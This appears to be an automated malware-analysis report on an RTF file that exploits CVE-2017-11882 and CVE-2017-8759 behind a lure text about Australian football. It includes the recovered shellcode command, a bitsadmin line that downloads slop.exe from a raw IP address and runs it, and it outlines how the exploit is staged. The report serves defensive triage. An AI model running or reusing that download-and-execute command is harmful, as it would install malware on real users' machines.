RTF malware analysis — malicious · f4bc0e0912049b30

MALICIOUS

RTF

327.7 KB Created: 2018-07-11 01:29:00 First seen: 2019-05-31

MD5: 2e7a9a14cb11bcc279a9e67e26051916 SHA-1: b185c818362ab289f7ade077b876227d579368ef SHA-256: f4bc0e0912049b30d409627bc0d98c2b9abef0f43098fea04a20fa8eeb20f197

362 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains embedded OLE objects and triggers critical vulnerabilities CVE-2017-11882 and CVE-2017-8759. These exploits are known to be used for client-side execution of arbitrary code. The presence of 'Shellcode URL' and 'Shellcode command strings' in the static triage signals, along with the extracted objdata_00_off0001c9c1.bin artifact, indicates that the file is designed to download and execute a secondary payload. The document body content about the Australian Football International Cup appears to be a lure.

Heuristics 9

CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
URL Moniker in RTF OLE object high CVE related RTF_URL_MONIKER_RELATED

RTF contains a URL Moniker GUID in OLE object context, but no decoded remote target was confirmed. Treat as related OLE2Link attack-surface evidence rather than proof of CVE-2017-0199 exploitation.
ClamAV: Doc.Exploit.Cve_2017_11882-7570663-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Exploit.Cve_2017_11882-7570663-1
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://185.121.166.109:4560/slop.exe In RTF body
- https://en.wikipedia.org/wiki/Australian_rules_footballIn RTF body
- https://en.wikipedia.org/wiki/Australian_Football_LeagueIn RTF body
- https://en.wikipedia.org/wiki/2002_Australian_Football_International_CupIn RTF body
- https://en.wikipedia.org/wiki/International_Australian_Football_CouncilIn RTF body
- https://en.wikipedia.org/wiki/Australian_Football_International_CupIn RTF body
- https://en.wikipedia.org/wiki/Australian_rules_football_in_AustraliaIn RTF body
- https://en.wikipedia.org/w/index.php?title=Australian_Football_International_Cup&action=edit&section=1In RTF body
- https://en.wikipedia.org/wiki/Ireland_national_Australian_rules_football_teamIn RTF body
- https://en.wikipedia.org/wiki/2011_Australian_Football_International_CupIn RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
- https://en.wikipedia.org/wiki/CompetitionIn RTF body
- https://en.wikipedia.org/wiki/AustraliaIn RTF body
- https://en.wikipedia.org/wiki/Grand_finalIn RTF body
- https://en.wikipedia.org/wiki/Curtain_raiser_(dramaIn RTF body
- https://en.wikipedia.org/wiki/AFL_New_ZealandIn RTF body
- https://en.wikipedia.org/wiki/CanadaIn RTF body
- https://en.wikipedia.org/wiki/DenmarkIn RTF body
- https://en.wikipedia.org/wiki/IrelandIn RTF body
- https://en.wikipedia.org/wiki/JapanIn RTF body
- https://en.wikipedia.org/wiki/NauruIn RTF body
- https://en.wikipedia.org/wiki/New_ZealandIn RTF body
- https://en.wikipedia.org/wiki/Papua_New_GuineaIn RTF body
- https://en.wikipedia.org/wiki/SamoaIn RTF body
- https://en.wikipedia.org/wiki/South_AfricaIn RTF body
- https://en.wikipedia.org/wiki/United_KingdomIn RTF body
- https://en.wikipedia.org/wiki/United_StatesIn RTF body
- https://en.wikipedia.org/wiki/SpainIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0001c9c1.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9C1	15672 bytes
SHA-256: `e9f9c4186cdf9ad24c5029619bcb6cd1cb19c1d4c07350814436a061ae1daca0`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://185.121.166.109:4560/slop.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer qp /priority foreground http://185.121.166.109:4560/slop.exe %USERPROFILE%\A.exe && start %USERPROFILE%\A.exe

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